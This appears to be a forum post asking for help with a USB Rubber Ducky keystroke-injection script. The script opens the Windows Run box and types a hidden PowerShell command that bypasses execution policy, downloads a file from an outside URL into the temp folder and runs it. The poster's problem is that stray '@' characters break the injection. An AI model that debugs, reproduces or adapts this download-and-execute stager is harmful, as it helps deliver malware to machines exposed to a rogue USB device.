[Ducky USB - Script adding @ after STRING]

Hi,
I currently have a ducky USB inject.bin encoded with https://ducktoolkit.com/
containing the following code (Modified):

DELAY 2000
GUI r
DELAY 500
STRING powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('http:/url.org/sub/file.zip',\"$env:temp\file.exe\"); Start-Process \"$env:temp\file.exe\""
ENTER

This code is from the GitHub and it should download and execute.
When I execute the code manually it works normal.
But when I run it from the Ducky USB it doesn't...
When its in the Windows Run box I see that after the STRING is typed there are @ @ entered after the string.
I think this is the problem and I don't know how I could fix this.

Could you please help me.
